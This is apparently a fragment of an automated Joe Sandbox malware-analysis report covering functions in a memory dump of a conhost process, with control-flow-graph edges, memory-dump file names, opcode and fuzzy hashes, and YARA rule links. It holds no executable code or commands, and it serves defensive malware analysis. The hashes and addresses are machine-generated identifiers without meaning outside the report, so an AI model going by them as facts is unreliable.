                                                                      control_flow_graph 673 7ffd344a0120-7ffd344a12d1 681 7ffd344a12db-7ffd344a1341 673->681 682 7ffd344a12d3-7ffd344a12d4 673->682 689 7ffd344a1397-7ffd344a13e2 681->689 690 7ffd344a1343-7ffd344a1346 681->690 682->681 697 7ffd344a13e9-7ffd344a141e 689->697 691 7ffd344a1350-7ffd344a1395 690->691 691->697
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: b3d9e2efa468389ecd1cdb478071235dd5403cf837e4c7b6d96fa4c1a7831dff
                                                                      • Instruction ID: 8c8eb24a74b6f17e2c53be1ec109c62a8ec62f5d14c88216118a4a3b0eb1e403
                                                                      • Opcode Fuzzy Hash: b3d9e2efa468389ecd1cdb478071235dd5403cf837e4c7b6d96fa4c1a7831dff
                                                                      • Instruction Fuzzy Hash: 1D51C371B18A494FEB98EB6C84A9779B7D1FF9D301F450179E08EC7292CD68EC428741
                                                                      Function 00007FFD344A1211 Relevance: .2, Instructions: 193COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 902309ef275c06105e590d5c377ff3ad2e47176ae24daa626ad99a4437dc4d98
                                                                      • Instruction ID: 466c8f9aea89c1f759277de41a58e8871a20b2fc4feee15dbea6fca298d2ebb8
                                                                      • Opcode Fuzzy Hash: 902309ef275c06105e590d5c377ff3ad2e47176ae24daa626ad99a4437dc4d98
                                                                      • Instruction Fuzzy Hash: 1051B461B0DA454FE798EB6C84A97697BE1FF9E300F0501BDE48EC7293CD68AC428751
                                                                      Function 00007FFD344A1092 Relevance: .2, Instructions: 173COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 732 7ffd344a1092-7ffd344a1099 733 7ffd344a109b 732->733 734 7ffd344a10a2-7ffd344a10b3 732->734 733->734 735 7ffd344a10b5 734->735 736 7ffd344a10bc-7ffd344a10cb 734->736 735->736 737 7ffd344a10cd 736->737 738 7ffd344a10d4-7ffd344a10e3 736->738 737->738 739 7ffd344a10e5 738->739 740 7ffd344a10ec-7ffd344a10fb 738->740 739->740 741 7ffd344a10fd 740->741 742 7ffd344a1104-7ffd344a1113 740->742 741->742 743 7ffd344a1115 742->743 744 7ffd344a111c-7ffd344a112b 742->744 743->744 745 7ffd344a112d 744->745 746 7ffd344a1134-7ffd344a1143 744->746 745->746 747 7ffd344a1145 746->747 748 7ffd344a114c-7ffd344a115b 746->748 747->748 749 7ffd344a115d 748->749 750 7ffd344a1164-7ffd344a1173 748->750 749->750 751 7ffd344a1175 750->751 752 7ffd344a117c-7ffd344a118b 750->752 751->752 753 7ffd344a118d 752->753 754 7ffd344a1194-7ffd344a11a3 752->754 753->754 755 7ffd344a11a5 754->755 756 7ffd344a11ac-7ffd344a11bb 754->756 755->756 757 7ffd344a11bd 756->757 758 7ffd344a11c4-7ffd344a11e2 756->758 757->758 761 7ffd344a11e9-7ffd344a11ee call 7ffd344a0120 758->761 763 7ffd344a11f3-7ffd344a120a 761->763
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 09c65e99b25edf28283bafee3c09fc8974dd014a9e34dcf2abb07ec12a5a8764
                                                                      • Instruction ID: a8aea4908458d3f06657af01d3e1923fd6ff0f11929d75e3f2213d31fdaa4d69
                                                                      • Opcode Fuzzy Hash: 09c65e99b25edf28283bafee3c09fc8974dd014a9e34dcf2abb07ec12a5a8764
                                                                      • Instruction Fuzzy Hash: 4F514D20A4F3C15FE3479334ACB9A953FA16F83355F1A41EAE5C5CA4B7C6AE0885C712
                                                                      Function 00007FFD344A6600 Relevance: .1, Instructions: 67COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 1a344439354bc6ec1dbfda7f1585119c52aa5107c832303c5dfe9187b443252c
                                                                      • Instruction ID: 3d58bbda39c98735e1eda556add4871bafdc22360328f7c7b276f4c325f1e170
                                                                      • Opcode Fuzzy Hash: 1a344439354bc6ec1dbfda7f1585119c52aa5107c832303c5dfe9187b443252c
                                                                      • Instruction Fuzzy Hash: B8110A93B0E98A0FF396976C08692A0BBD1DF5B350B0901BBD4C8C71E7DD596C068362
                                                                      Function 00007FFD344A0100 Relevance: .1, Instructions: 57COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 8be3c87eb38d5b8939744d9ee7ee3d30c8b7be444aeb2847436001b7bc83c342
                                                                      • Instruction ID: 3c734d0b22f9b5ca4e8ee7f9655a6cc87bfe948a520afbb4f3a00a53a03684c1
                                                                      • Opcode Fuzzy Hash: 8be3c87eb38d5b8939744d9ee7ee3d30c8b7be444aeb2847436001b7bc83c342
                                                                      • Instruction Fuzzy Hash: C0012093F1A84D0FF3E45A2C08692B57BD1DF5E354B4501BAE48DD71A6DC156C058351
                                                                      Function 00007FFD344A11D0 Relevance: .0, Instructions: 32COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 44d4fa0d9a702e8bc95203c0ab6dd1ec2224b2d69e9f78f329fe06f9a59c9044
                                                                      • Instruction ID: dc98034216b21747bf8706207cd85e327dec9758becc9acd4b0d826471f87847
                                                                      • Opcode Fuzzy Hash: 44d4fa0d9a702e8bc95203c0ab6dd1ec2224b2d69e9f78f329fe06f9a59c9044
                                                                      • Instruction Fuzzy Hash: 5DE08631B18C1D0FDBA8FB3C5465AA962D7EBDC31075606B6E40CC7356ED28DC518380